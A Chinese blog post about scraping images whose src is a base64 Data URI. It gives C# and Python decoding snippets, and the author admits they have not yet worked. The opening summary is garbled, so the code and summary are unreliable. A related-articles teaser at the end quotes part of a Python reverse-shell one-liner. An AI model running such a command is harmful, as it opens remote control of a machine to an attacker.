python爬取图片遇见src乱码: data:image/png;base64

摘要:
Python抓取图像并遇到src乱码:data:image/png;Base64会抓取您喜欢的图像,但图像的src在抓取的代码中出现了乱码:data:image/png;base64.)“”头1,编码=字符串。splitdata=b64decodedwithopenasf:f.写入。close()注意:我还没有成功。。。。。。

  python爬取图片遇见src乱码: data:image/png;base64

向爬取自己喜欢的图片,但是在爬取下来的代码当中图片的src会出现乱码的情况:data:image/png;base64。搞了我好长时间,试过伪装headers,也试过通过修改网页js的内容来让img的src显示出来,也试过修改div的display属性,但是全部都没用,最后了解了才知道,这是Data URI scheme。

一:Data URI scheme:

目的是将一些小的数据,直接嵌入到网页中,从而不用再从外部文件载入。比如上面那串字符,其实是一张小图片,将这些字符复制黏贴到火狐的地址栏中并转到,就能看到它了,一张1X36的白灰png图片

数据分类:data表示取得数据的协定名称,image/png 是数据类型名称,base64 是数据的编码方法,逗号后面就是这个image/png文件base64编码后的数据

这样写的好处(对我这种萌新来说简直灾难):图像文件的内容直接写在了HTML 文件中,节省了一个HTTP 请求。

二:使用python爬取解决的方法

解决思路:

它就是普通的<imgsrc="...."/>属性值。使用你的能够解析html的解析器,找到imageelement,取得它的src属性值,将base64格式的字符串转为byte[],然后放到MemoryStream中供Image控件读取,画出图片。(如果只是输出,得到byte[]数据结构即可)

举例:

string txt = @"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIQAAAARCAMAAAArMfRlAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6J";

var tmpArr = txt.Split(',');

byte[] bytes = Convert.FromBase64String(tmpArr[1]);

using (MemoryStream ms =new MemoryStream(bytes))

{

    ms.Write(bytes, 0, bytes.Length);

    var img =Image.FromStream(ms, true);

    img.Save("demo.png");

}

爬取图片的时候,使用python中的bs64来编码Data URI:

    #使用BeautifulSoup来获取对应的标签的属性值:使用点get,里面再加一个属性值的字符串就好了,ok
    strings=str(bs.find(name="img",attrs={"class":"comicimg"}).get('src'))

    #解码bs64格式的Data URI
    '''1.pip导入base64的包,这个不用pip下载,pycharm自带
        2.将src的前面编码方式和后面的码分离出来,两者使用逗号相连,而且只有一个
        3.使用b64decode编码器编译,并储存到字符节数组data里面
        4.将其字符集写入文件当中,就会生成所需要的文件(为什么导出来的图片是白板??)
    '''head1,encode=strings.split(',',1)
    data=b64decode(encode)
    with open("image_src.png","wb") as f:
        f.write(data)
        f.close()

注意:本人暂时还没有成功。。。。。。待续。。。

免责声明:文章转载自《python爬取图片遇见src乱码: data:image/png;base64》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇使用nebula把联想个人云存储映射到当前网络使用的方法Linux snmp导入MIB库下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

django(八)之数据库表的一对多,多对多表-增删改查

单表操作 表记录的添加 方式一: Book() b=Book(name="python基础",price=99,author="yuan",pub_date="2017-12-12") b.save()...

python与c#的交互模块pythonnet

 今天总结一下python与c#的交互模块pythonnet,其实微软也是有相应的解释器的,就是Ironpython,可是毕竟Ironpython还有很多东西没有从python那边继承过来,所以有时候用起来并不是那么爽。但是好在强大的社区总会给我们惊喜,pythonnet就是其中一个让我惊喜的模块,它可以平滑的和C#进行交互。但是网上这方面的资料还是太少了...

Python编程:从入门到实践(选记)

本文参考《Python 编程:从入门到实践》一书,作者:[ 美 ] Eric Matthes 第1章 起步 1.1 搭建python环境 在不同的操作系统中, Python 存在细微的差别。 1.1.1 Python 2和Python 3 在本书中,将指出 Python 2 和 Python 3 的重大差别。1.1.2 运行Python代码片段 1.1....

MySQL 8.0.11 GA版二进制安装

MySQL 8.0.11已发布,听闻性能提升两倍,今个自己安装体验下。1、卸载mysql老版本rpm -qa|grep mysql或者mairadbrpm -e mysql*/mariadb*rpm -e --nodeps mysql*/mariadb* 2、安装依赖包yum install gcc gcc-c++ libaio 3、下载软件包并解压tar...

记一次对python反弹shell的分析

前言 昨天学习了反弹shell,对python弹shell产生了一些疑惑 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); o...

Python使用Redis

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。Redis支持存储的value类型包括字符串(String), 哈希(Hash), 列表(list), 集合(set) 和 有序集合(sorted set)。 Redis官方文档:https://redis.io Red...